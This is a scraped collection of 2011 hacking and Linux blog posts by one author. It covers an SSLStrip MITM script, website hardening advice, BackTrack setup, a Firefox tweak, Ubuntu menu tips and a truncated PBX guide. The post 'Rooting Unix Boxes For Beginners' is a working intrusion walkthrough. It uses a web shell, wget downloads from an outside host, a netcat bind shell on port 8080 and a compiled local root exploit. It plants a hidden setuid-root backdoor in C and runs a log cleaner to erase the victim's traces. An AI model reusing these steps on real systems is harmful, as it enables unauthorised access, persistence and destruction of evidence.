Perl Script for SSLStrip MITM Attack

10/02/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUbrddN25dPBr1bGVnAukjjvs3Njxufs1kfnDa9cGVbDXhPtPZP6S1c3PZ0yG943GIw35u2Yfdnyr4gBLTOtrJs_Rxpg1MeiPBnCPOmo1mWXT_zbRDzl9CaiCPyF7GWS_CW4hhppHKyP40/s1600/ssl+strip.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUbrddN25dPBr1bGVnAukjjvs3Njxufs1kfnDa9cGVbDXhPtPZP6S1c3PZ0yG943GIw35u2Yfdnyr4gBLTOtrJs_Rxpg1MeiPBnCPOmo1mWXT_zbRDzl9CaiCPyF7GWS_CW4hhppHKyP40/s640/ssl+strip.jpg" width="640" /></a></div>
<br />
<div style="margin: 0px; padding: 0px;">
I've been using SSLStrip MITM attack a lot recently and decided I am just sick of having to manually configure it so I decided to write a perl script to mostly do it for me or atleast consolidate it in 1 spot. Let me know what you guys think. If anyone notices any bugs let me know so that I can correct them, I've spent the last 2-3hrs testing so it's pretty good from what I can see right now. Nmap option is also included.<br />
<br />
This is not a tutorial of how to do it, that is posted in another location in the intern0t forums.<br />
<br />
Here are the things that are required for this script:<br />
Linux (tested in Ubuntu & Backtrack 4 R2)<br />
Ettercap (specifically etter.conf)<br />
X-term (used b/c Ubuntu & BT4 both have it)<br />
Arpspoof<br />
SSLStrip<br />
Nmap<br />
<br />
**********Start of Disclaimer***********<br />
<div style="text-align: left;">
I'm not responsible for anything illegal or mischievous that you decide to use this for blah, blah, blah...</div>
Don't blame me, I didn't force you to use it.<br />
**********End of Disclaimer************<br />
<br />
<div style="text-align: left;">
Code: <a href="http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz" target="_blank">Download Here.</a></div>
<br />
<br />
Hope this helps everyone, let me know if you have any suggestions. Thanks.<br />
<span style="color: red;">Note:</span> <a href="http://it-2on3.blogspot.com/2011/01/sslstrip-tutorial.html" target="_blank">For further reading.</a><br />
<br />
</div>
</div>

I've been using SSLStrip MITM attack a lot recently and decided I am just sick of having to manually configure it so I decided to w...

Securing the Web

9/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAgpxGTak2XLAfaHcG2B8cFfd2LQhguWRnOiFpIlFr9OeFD22tlABEmPA80wC8YN0mHVBIzHvLqlVvO9KfEvABGGsgKaADKMV81gjuD-o_QWvnyWmPMwRGncNYcJ6dbzU9_oJeBbcATeTc/s1600/secure-web.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAgpxGTak2XLAfaHcG2B8cFfd2LQhguWRnOiFpIlFr9OeFD22tlABEmPA80wC8YN0mHVBIzHvLqlVvO9KfEvABGGsgKaADKMV81gjuD-o_QWvnyWmPMwRGncNYcJ6dbzU9_oJeBbcATeTc/s400/secure-web.jpg" width="400" /></a></div><br />
<h3>Introduction:</h3><br />
All most every website on the internet has a risk of getting Hacked .The growing generation of new Hackers are able to exploit almost every digital device from mobile to a calculator! , so websites are easy for them to Hack and compromise. Every year people pay thousands and thousands of rupees just to protect their<br />
<br />
 websites from not getting hacked. Cyber security is a major concern now a days for everyone from a business man to a government employee or even the common man. Imagine a situation in which you are a business man who has a database of information about your clients and your site has been hacked. What will you do? All your clients will be angry with you because of their privacy disclosure and your business will go down.<br />
<br />
But if you will protect your website then this situation will never come in your life.<br />
<h3>Protecting your website:</h3><br />
<h3>Old version of web server:</h3>One of the most common mistakes that people make is that they just use old versions of web server. This is actually a very big vulnerability as any attacker can easily exploit the loophole in that web server and get inside your server.<br />
<br />
<h3>Invalid or expired SSL certification:</h3>If a website has a login page then a valid SSL certification should be installed into the server not an invalid SSL certification. The SSL server encrypts the traffic.For example this is an example of an expired or an invalid SSL certification:<br />
<br />
The SSL certificate (<div class="system pop">serial: 00f716cc219f44c663 </div>) is expired.<br />
<br />
The cerificate valability period is: <div class="system pop">Thu Jan 22 19:52:15 UTC+0530 2009 to Fri Jan 22 19:52:15 UTC+0530 2010 </div>In this situation the attacker can easily install a sniffer and start sniffing all the data that is being passed to the server.<br />
<br />
<h3>Server Vulnerable to XSS:</h3>XSS or cross site scripting is the process in which the attacker hacks the website by injecting some javascript into the website. www.In.com vulnerable to XSS XSS is a very common method and even FBI and CIA are vulnerable to it.<br />
<br />
This attack can be easily prevented easily by filtering all the special characters (#, <,” ,/,…etc) from being inputted into the search field and also filtering them into the commenting fields.<br />
<br />
<h3>Server Vulnerable to SQL injection:</h3><br />
SQL injection is also as common as XSS but the only thing is that here the attacker tries to input SQL commands into the server and get into the database or log into the admin page without proper username and password.<br />
<br />
This attack can also be prevented by filtering all the special characters from being inputted into any input field.<br />
<br />
<h3>Default Password and usernames:</h3>Some administrators are so dumb that they forget to remove default passwords from the script of the login page, this means that anyone can login into the admin panel of the site with the username as “root” or “admin” and password as “root” or “admin” too. This vulnerability can be patched up by removing this feature from the script.<br />
<br />
<h3>Unrestricted applications:</h3>Here in this vulnerability the site has a editor which can be used to upload files to the server for example the url can be <div class="system pop">www.site.com/backhend_of_site/fck/editor/fckeditor.html </div>This will show up the following:<br />
<br />
And here I can upload anything without the admin privileges. To protect you self from these kind of attacks always use validated softwares.<br />
<br />
<h3>Admin page access:</h3><br />
Some people just don’t change the admin page location, for example people have admin page at www.site.com/admin. This is a vulnerability because if we have got access to admin page then we can try out SQL injections on the admin page. So always change the admin page to something like: <div class="system pop">www.site.com/abc</div><br />
<h3>Robots.txt:</h3>Robots.txt file tells us about what features the site has allowed and disallowed so one can get a list of possible directories in a server like:<br />
<div class="content shadow-radial">User-agent: *<br />
  Disallow: /search<br />
  Disallow: /groups<br />
  Disallow: /images<br />
  Disallow: /catalogs<br />
  Disallow: /catalogues<br />
  Disallow: /news</div>We can prevent this by adding less directories to the robots.txt file and password protecting all the directories which come inside this file.<br />
<br />
<h3>Test.php:</h3>This file contains all the configuration of the php server running on the server so one should block it.For example the URL can be: http://site.com/test.php. We can protect from this kind of attacks by removing this file.<br />
<br />
<h3>Conclusion:</h3><br />
We have come to the end of this article. These were the some of the methods.<br />
<br />
<span style="color: red;">Further Reading:</span> <br />
<a href="https://www.owasp.org/index.php/OWASP_Guide_Project">https://www.owasp.org/index.php/OWASP_Guide_Project</a><br />
<a href="http://www.securecomputing.com/SecureIFV/index.cfm?tabs=w,m,f,s,sf,sg">http://www.securecomputing.com/SecureIFV/index.cfm?tabs=w,m,f,s,sf,sg</a><br />
<br />
Regards,<br />
<br />
Hardeep Singh<br />
(<a href="http://www.facebook.com/h4rdeep">www.facebook.com/h4rdeep</a>)<br />
</div>

Linux Tutorials OWASP Tutorials Web Security Securing the Web

Introduction: All most every website on the internet has a risk of getting Hacked .The growing generation of new Hackers are able to explo...

BackTrack - Basic Usage

9/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s1600/backtrack.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s400/backtrack.jpeg" width="400" /></a></div><h3>Login to BackTrack</h3><br />
Once the BackTrack is Installed, the default username and password required to log in are root / toor.<br />
NOTE: You will not be able to see the password as you type it.<br />
<br />
<h3>GUI</h3><ul><li>After login give startx command.</li>
<li>Getting Networking to work</li>
<li>Setting your IP manually</li></ul><br />
We will first set up the networking manually. In the following example we will assume the following addresses and their purpose:<br />
<div class="content shadow-radial">IP Address - 192.168.1.112/24<br />
  Default Gateway - 192.168.1.1<br />
  DNS server - 192.168.1.1</div><br /><br />
In order to set these up we will run the following commands:<br />
<div class="command wobble-horizontal">root@bt:~# ifconfig eth0 192.168.1.112/24<br />
  root@bt:~# route add default gw 192.168.1.1<br />
  root@bt:~# echo nameserver 192.168.1.1 > /etc/resolv.conf</div><br />
Getting a static IP to stick between reboots<br />
<br />
These settings however will only last until you reboot, so if we want to save them between reboots we need to edit the /etc/network/interfaces file like this:<br />
<div class="content shadow-radial"># This file describes the network interfaces available on your system<br />
  # and how to activate them. For more information, see interfaces(5).<br />
  # The loopback network interface<br />
  auto lo<br />
  iface lo inet loopback<br />
  # The primary network interface<br />
  auto eth0<br />
  iface eth0 inet static<br />
  address 192.168.1.112<br />
  netmask 255.255.255.0<br />
  network 192.168.1.0<br />
  broadcast 192.168.1.255<br />
  gateway 192.168.1.1</div><br />
Edit the file as appropriate, then have the network come up automatically at boot time:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d networking defaults<br />
  root@bt:~# /etc/init.d/networking restart</div><br />
<h3>Getting an IP from DHCP</h3>In order to get an IP from a DHCP server we can issue the dhclient <interface> command as follows:<br />
<div class="command wobble-horizontal">root@bt:~# dhclient eth0<br />
  Internet Systems Consortium DHCP Client V3.1.1<br />
  Copyright 2004-2008 Internet Systems Consortium.<br />
  All rights reserved.<br />
  For info, please visit <a href="http://www.isc.org/sw/dhcp/">http://www.isc.org/sw/dhcp/</a> Listening on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on Socket/fallback<br />
  DHCPREQUEST of 192.168.1.112 on eth0 to 255.255.255.255 port 67<br />
  DHCPACK of 192.168.1.112 from 192.168.1.1<br />
  bound to 192.168.1.112 -- renewal in 37595 seconds.<br />
  root@bt:~#</div> Using the script to start networking<br />
There is a script to start networking in the /etc/init.d directory which attempts to start every interface listen in /etc/network/interfaces (you can remove the ones you don’t need). To start it issue the following command:<br />
<div class="command wobble-horizontal">root@bt:~# /etc/init.d/networking start</div><br />
<h3>WICD Network Manager</h3>Another way to set up your networking is using the WICD Network Manager, you can find it in the menu:<br />
Menu > Internet > Wicd Network Manager<br />
<br />
<h3>Changing the root password</h3>As you know Backtrack comes with a default username and password (root/toor) it is IMPORTANT that we change that root password especially when running services such as SSH. We can change the password by issuing the passwd command:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# passwd Enter new UNIX password: {enter your new password here } Retype new UNIX password: {enter your new password again} passwd: password updated successfully <br />
  root@bt:~#</div><br />
<h3>Starting services</h3>BackTrack has various services such as Apache, SSH, MySQL, VNC, etc. They are all disabled by default. To start a service such as SSH, you can use the service init scripts. For example, to start the SSH service:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate # Specific to the SSH service - needed to generate SSH keys<br />
  root@bt:~# /etc/init.d/ssh start<br />
  Starting OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# /etc/init.d/ssh stop<br />
  Stopping OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# </div><br /><br />
When using a ssh server for the first time on Backtrack you will need to generate keys:<br /><br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate</div>To enable a service at boot time, you can use the update-rc.d command, for example, having SSH start at boot time:<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d -f ssh defaults<br />
  Adding system startup for /etc/init.d/ssh ...<br />
  /etc/rc0.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc1.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc6.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc2.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc3.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc4.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc5.d/S20ssh -> ../init.d/ssh<br />
  root@bt:~#</div><br />
<h3>Common apt commands</h3>apt-get install <package> Downloads <package> and all of its dependencies, and installs or upgrades them.<br />
apt-get remove [--purge] <package> Removes <package> and any packages that depend on it. --purge specifies that packages should be purged.<br />
apt-get update Updates packages listings from the repo, should be run at least once a week.<br />
apt-get upgrade Upgrades all currently installed packages with those updates available from the repo. should be run once a week.<br />
apt-get dist-upgrade [-u] Similar to apt-get upgrade, except that dist-upgrade will install or remove packages to satisfy dependencies.<br />
apt-cache search <pattern> Searches packages and descriptions for <pattern>.<br />
apt-cache show <package> Shows the full description of <package>.<br />
apt-cache showpkg <package> Shows a lot more detail about <package>, and its relationships to other packages.<br />
man apt Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>Common dpkg commands</h3>dpkg -i <package.deb> Installs a package file; one that you downloaded manually, for example.<br />
dpkg -c <package.deb> Lists the contents of <package.deb> a .deb file.<br />
dpkg -I <package.deb> Extracts package information from <package.deb> a .deb file.<br />
dpkg -r <package> Removes an installed package named <package><br />
dpkg -P <package> Purges an installed package named <package>. The difference between remove and purge is that while remove only deletes data and executables, purge also deletes all configuration files in addition.<br />
dpkg -L <package> Gives a listing of all the files installed by <package>. See also dpkg -c for checking the contents of a .deb file.<br />
dpkg -s <package> Shows information on the installed package <package>. See also apt-cache show for viewing package information in the Debian archive and dpkg -I for viewing package information extracted from a .deb file.<br />
dpkg-reconfigure <package> Reconfigures an installed package<br />
man dpkg Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>How do I find more information on a particular command or programs usage ?</h3>Most commands will have what is called a man page (manual page) which can be viewed by typing:<br />
<div class="command wobble-horizontal">root@bt:~# man <command you want more info on></div><br /><br />
Another very good resource on linux command usage can be found at <span class="system pop">linuxcommand.org </span>Some programs do not have a man page, but you can usually get more information on it's usage by typing: Just the program name without any arguements.<br />
or<br />
<div class="command wobble-horizontal">root@bt:~# <program name> -help </div><b>or </b> <div class="command wobble-horizontal">root@bt:~# <program name> --help</div><b> or </b><div class="command wobble-horizontal">root@bt:~# <program name> -h</div><br/><br />
Some programs use other methods, but they are usually just a variation of one of the above five commands.<br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</div>

Backtrack Hacking Tutorials Linux Linux Tutorials OS Tutorials BackTrack - Basic Usage

Login to BackTrack Once the BackTrack is Installed, the default username and password required to log in are root / toor. NOTE: You will n...

Make old Firefox Addons Compatible

9/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCkoSjgRSApvupKMaqOyBIN3pQG9eXoHahQPv8BHu2l2aF0Ho8puSk9lZPT4nngGI6zXL-QlatX_Ni4zZsCHN1zrDNRYuvBru_dxbbNdDSSab_G9CBRHSwcy3g3W9ZDut3iUgHWJAO29HS/s1600/firefox-add-ons.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCkoSjgRSApvupKMaqOyBIN3pQG9eXoHahQPv8BHu2l2aF0Ho8puSk9lZPT4nngGI6zXL-QlatX_Ni4zZsCHN1zrDNRYuvBru_dxbbNdDSSab_G9CBRHSwcy3g3W9ZDut3iUgHWJAO29HS/s400/firefox-add-ons.jpg" width="400" /></a></div><br />
First Type <div class="command wobble-horizontal">about:config </div><br /><br />
On Address Bar and Press Enter<br />
Then it will ask with some damn Things.., Just Click "I'll be careful , I promise "<br />
Don't Do any thing with out this Tut..,<br />
i will not responsible if u Sucked it okay.. LOL<br />
After that Right Click ----> New ----> Boolean<br />
<br />
in there Type <br />
<div class="command wobble-horizontal">extensions.checkCompatibility.5.0 </div><br /><br />
As Picture Give Value as False and Ok.<br />
<br />
Thats all !!!.....<br />
<br />
Regards:<br />
<br />
Hardeep Singh<br />
( <a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a> )</div>

Addons Firefox Linux Tutorials Tutorials Make old Firefox Addons Compatible

First Type about:config On Address Bar and Press Enter Then it will ask with some damn Things.., Just Click "I'll be careful , I...

Classic start menu in Ubuntu 11.04

7/20/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIvsTavCfw38WJ9R0kg_rM3x0oQrWs94jla5ymIG8iRuSucMNU3JsGZN9st_I6mYpUAIxd4dQQwGKNYmwi08-lJ2uQy4-ALZQWZL0IpfOU8EnB-aiKMj-kOoagdg6xO0sDCZafSAL-0yo/s1600/StartMenu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIvsTavCfw38WJ9R0kg_rM3x0oQrWs94jla5ymIG8iRuSucMNU3JsGZN9st_I6mYpUAIxd4dQQwGKNYmwi08-lJ2uQy4-ALZQWZL0IpfOU8EnB-aiKMj-kOoagdg6xO0sDCZafSAL-0yo/s1600/StartMenu.png" width="282" /></a></div>
<br />
<div>
<span class="Apple-style-span">In Ubuntu 11.04 Unity, you might prefer the left launcher bar but dislike the searching-style app menu in top-panel. Mac-like dock has classic app menu but there also has many useless shortcut icons that already shown in left launcher bar.</span></div>
<div>
<span class="Apple-style-span">Although we cannot replace the top-panel with the classic gnome-panel, there’s a classic start menu can be added onto left launcher bar.</span></div>
<br />
<div>
<span class="Apple-style-span">Steps:</span></div>
<div>
<span class="Apple-style-span"><strong>1.)</strong> Open up a terminal window and install cardapio from PPA:</span></div>
<div class="command wobble-horizontal">
sudo add-apt-repository ppa:cardapio-team/unstable<br />
sudo apt-get update<br />
sudo apt-get install cardapio</div>
<br />
<br />
<span class="Apple-style-span"><strong>2.)</strong> Create a launcher by:</span><br />
<br />
<div class="command wobble-horizontal">
mkdir ~/.local/share/applications<br />
gksudo gedit ~/.local/share/applications/Cardapio.desktop</div>
<br />
<br />
<span class="Apple-style-span">copy and paste following :</span><br />
<br />
<div class="content shadow-radial">
[Desktop Entry]<br />
Version=1.0<br />
Type=Application<br />
Terminal=false<br />
Exec=cardapio<br />
Name=menu<br />
Icon=gnome-main-menu</div>
<br />
<br />
<div>
<span class="Apple-style-span">Then close and save it.</span></div>
<span class="Apple-style-span"><strong>3.)</strong> In nautilus file browser, navigate to “<span class="system pop">.local/share/applications </span>” (Press Ctrl+H to view hidden files) and then drag and drop <span class="system pop">Cardapio.desktop </span> onto left Launcher.</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://ubuntuguide.net/wp-content/uploads/2011/05/StartMenu_on_Launcher-214x360.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span class="Apple-style-span"><img border="0" height="320" src="http://ubuntuguide.net/wp-content/uploads/2011/05/StartMenu_on_Launcher-214x360.png" width="190" /></span></a></div>
<br />
<div>
<span class="Apple-style-span"><strong>4.)</strong> Adjust the pop-up menu location.</span></div>
<div>
Before this, when you click the icon on Launcher it pops-up the menu in middle area of screen. To adjust the pop-up location, open up <br />
<div class="system pop">
CompizConfig-Setting-Manager  </div>
(run <br />
<div class="command wobble-horizontal">
sudo apt-get install compizconfig-settings-manager </div>
 if not installed) and click into the configuration page of <strong>Place Windows</strong>.</div>
<div>
<span class="Apple-style-span">In Fixed Window Placement tab, click New under Windows with Fixed Positions:</span></div>
<div>
<em><span class="Apple-style-span">type “name=cardapio” (without quotes) after Positioned windows<br />
check “Keep in work area”<br />
set proper value of x or y positions</span></em></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://ubuntuguide.net/wp-content/uploads/2011/05/Place_windows1-500x291.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span class="Apple-style-span"><img border="0" height="186" src="http://ubuntuguide.net/wp-content/uploads/2011/05/Place_windows1-500x291.png" width="320" /></span></a></div>
<div>
<em><span class="Apple-style-span">Keep in touch to get new updates.</span></em><br />
<br />
<em><span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font: x-small arial; letter-spacing: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><em>Regards,</em><br />
<em>Hardeep Singh</em><br />
<em>(</em><a href="http://www.fb.com/h4rdeep" target="_blank"><em>www.fb.com/h4rdeep</em></a><em>)</em></span></em> </div>
</div>

Linux Linux Tutorials OS Tricks Ubuntu Classic start menu in Ubuntu 11.04

In Ubuntu 11.04 Unity, you might prefer the left launcher bar but dislike the searching-style app menu in top-panel. Mac-like dock has ...

Rooting Unix Boxes For Beginners

7/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrGbqR9XNp4aIM63p9OibxElCHGHI2JBC1uKK3luopPNR9MVqZjkyLfj265AXZ5KpB6dAb9sPDaUMljONe2I0SSuKVvcw5C_kvikKw5vF7SC2G39KklajBlcSvjHZ-0lO688ISICZJgus/s1600/kernel-root.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="147" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrGbqR9XNp4aIM63p9OibxElCHGHI2JBC1uKK3luopPNR9MVqZjkyLfj265AXZ5KpB6dAb9sPDaUMljONe2I0SSuKVvcw5C_kvikKw5vF7SC2G39KklajBlcSvjHZ-0lO688ISICZJgus/s1600/kernel-root.jpg" width="400" /></a></div>
<br />
Hello and welcome to rahlabs tutorial on Rooting unix boxes. Today we will learn a few fundementals on what it takes to root a your box! In Today's Tutorial we will be using a linux box.<br />
<br />
Required for this tutorial:<br />
<br />
Access to a shell - Upload by any-means a shell onto a box<br />
<a href="http://b14ck1c3.freehostia.com/miglc">mig-log cleaner</a><br />
<a href="http://www.vulnwatch.org/netcat/nc111nt.zip">Netcat</a><br />
<a href="http://b14ck1c3.freehostia.com/nc">Netcat(unix)</a><br />
<a href="http://jshooter.by.ru/xpl/">Local root Exploit</a><br />
half a brain<br />
willingness to learn<br />
<br />
Now that you have all that in order lets begin.<br />
<br />
Go to the path of or access your shell by whatever means nessecary.<br />
Make sure that your shell is in a writable folder just to make things easy for us. In our case today for this tutorial we will be using storm7shell or gny not exactly my favorite but will get the job done none the less.<br />
An example of this location would be something like:<br />
<br />
<a href="http://target/youshell.php">http://target/youshell.php</a><a href="http://target/youshell.php"></a><br />
Now that we are on your shells page we want to find out what os this box is running and what version the kernel is. In our case it's linux 2.6.8. So we will want to find a local root exploit for this kernel version of the linux os.<br />
<br />
What we want to do now that we have our local root exploit for our kernel is spawn a shell so that we can talk to the victim's box and run our commands without interuption, But how are we suppose to do that? This can be done by using a tool called Netcat. So now that we have a copy of Netcat we will go to the shell, Find the command execution area of the shell and enter:<br />
<br />
<div class="command wobble-horizontal">
wget <a href="http://b14ck1c3.freehostia.com/nc">http://b14ck1c3.freehostia.com/nc</a></div>
<br />
<br />
<br />
What this will do is download the file of Netcat i have pre-compiled and hosted for you onto the victim box to the location of your shell. Once we have the download complete we will want to chmod it so that our user has access to run it. which can be done by entering:<br />
<br />
<div class="command wobble-horizontal">
chmod +x nc</div>
<br />
<br />
What this does is grants everyone (user, group and other) execute permission, and the command to the file nc which we had just previously downloaded onto the box with the wget command.<br />
<br />
Now that we have nc installed on both the victim machine and your own it's time to make our connection. How Do we make a connection with nc? In the command execution area of your shell enter:<br />
<br />
<div class="command wobble-horizontal">
./nc -l -p 8080 -e /bin/sh</div>
<br />
<br />
(shell can be /bin/sh or cmd.exe for example)<br />
<br />
And then on the netcat installed on your pc you will want to enter:<br />
<br />
nc VictimIP Port *in our case 8080*<br />
<div class="command wobble-horizontal">
#nc 123.123.123.123 8080</div>
<br />
<br />
<br />
What this will do is cause the netcat on the victims box to listen on port 8080 and shovel back an interactive shell for you once you make the connection from which you typed:<br />
<br />
nc victimip port<br />
Now that We have our interactive shell spawned we can start to prepare the box for Rooting. First we will want to get our local root exploit onto the box and get it compiled if it's not already. This can be done by once again using that nifty wget command we learned about in the previous steps.<br />
<br />
<div class="command wobble-horizontal">
wget <a href="http://yoursite/xpl">http://yoursite/xpl</a></div>
<br />
<br />
What we have done is now downloaded your exploit. If your exploit is not already compiled you will need to compile it in order to run it. Compiling your exploit can be done by using the gcc, like so:<br />
<br />
<div class="command wobble-horizontal">
gcc xpl.c -o xpl;chmod +x xpl</div>
<br />
<br />
This will compile your xpl.c and output it into a file called xpl wich will be the compiled copy of your exploit and then chmod xpl. Now you are ready to run your exploit and get your root on. The exploit will vary on their usage so make sure you have an understanding of the root exploit you are using. You can run your xpl file by entering in:<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
./xpl</div>
<br />
<br />
Wait until your exploit is finished running once it is done enter:<br />
<br />
<div class="command wobble-horizontal">
#whoami</div>
<br />
<br />
What the whoami command does is tells you who you are if this tells you root then you xpl has done it's job and you now have root priv's on the box. or you can type:<br />
<br />
<div class="command wobble-horizontal">
#id<br />
uid=0(root) gid=0(root) groups=500(apache)</div>
<br />
<br />
And now you can do your happy dance.<br />
Now that we have rooted the box and finished humiliating ourselves by dancing around we want to make sure that we can come and go as we please without all the hassel of Rooting the box over and over. So we will want to create some kind of backdoor. we can make this happen with few lines of code:<br />
Code:<br />
<div class="program glow">
<pre><code class="prettyprint">
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main( void )
{
     setuid( 0 );
     system( "/bin/bash" );
     return 0;
}
</code></pre>
</div>
<br />
<br />
Compile it and change permissions:<br />
Code:<br />
<div class="command wobble-horizontal">
root@foobar /root# gcc -o .bkdr main.c<br />
root@foobar /root# chown root:root .bkdr<br />
root@foobar /root# chmod +s .bkdr</div>
<br />
<br />
Now, all you have to do is put .bkdr somewhere on the system where you can execute it (preferrably in the $PATH) and if you execute it as another user: <br />
Code:<br />
<div class="command wobble-horizontal">
root@foobar /home/raif$ /usr/local/bin/.bkdr<br />
root@foobar /home/raif# whoami<br />
root</div>
<br />
<br />
Now you have your access back. <br />
Alright we are almost completed our mission we have successfully rooted our victims box created ourbackdoor now all we need to do is wipe our tracks that we left in the logs and be on our way. This can be done by using a log cleaner of some kind. For this tutorial we used mig-log cleaner. which you can get here:<br />
<br />
Code:<br />
<br />
<a href="http://b14ck1c3.freehostia.com/miglc">http://b14ck1c3.freehostia.com/miglc</a><a href="http://b14ck1c3.freehostia.com/miglc"></a>Once again we can use our wget command to upload our logcleaner to the rooted box.<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
wget <a href="http://b14ck1c3.freehostia.com/miglc;chmod">http://b14ck1c3.freehostia.com/miglc;chmod</a> +x miglc</div>
<br />
<br />
now just run the logcleaner<br />
<br />
Code:<br />
<div class="command wobble-horizontal">
./miglc</

The mig-log Cleaner has a wide variety of functions which are displayed when you run the log cleaner so you may choose how exactly you want to clean the logs with the commands given to you. I hope you enjoyed my tutorial and learned something from it as well. Good luck to you all.

Regards,

Hardeep Singh

(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)<br />
<br /></div>
</div>

Hacking Tutorials Linux Linux Tutorials OS Root Rooting Tutorials Rooting Unix Boxes For Beginners

Hello and welcome to rahlabs tutorial on Rooting unix boxes. Today we will learn a few fundementals on what it takes to root a your box!...

Setup IP PBX for small business step by step

7/06/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaLh3jvYX0Wqd8ytKsZEyR13D6yKftA0YAHBa5YrOhXLLNoRSjDvD9pkhLsqRITiq7i5XtNXhENcRoUCHErfAy07elEQ4rD9vt0AMVseBht5vujgBosFOulFSQE4w5zKlYf24htxxmqMU/s1600/pbx-for-small-office.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Setup IP PBX for small business step by step" border="0" height="246" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaLh3jvYX0Wqd8ytKsZEyR13D6yKftA0YAHBa5YrOhXLLNoRSjDvD9pkhLsqRITiq7i5XtNXhENcRoUCHErfAy07elEQ4rD9vt0AMVseBht5vujgBosFOulFSQE4w5zKlYf24htxxmqMU/s1600/pbx-for-small-office.png" title="Step by step guide to setup IP PBX for small office" width="400" /></a></div>
<h1 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif;">
<span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px;"><br /></span></h1>
<h1 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif;">
<span style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px;">Index</span></h1>
<ul style="line-height: 15px;">
<li><div style="line-height: 15px;">
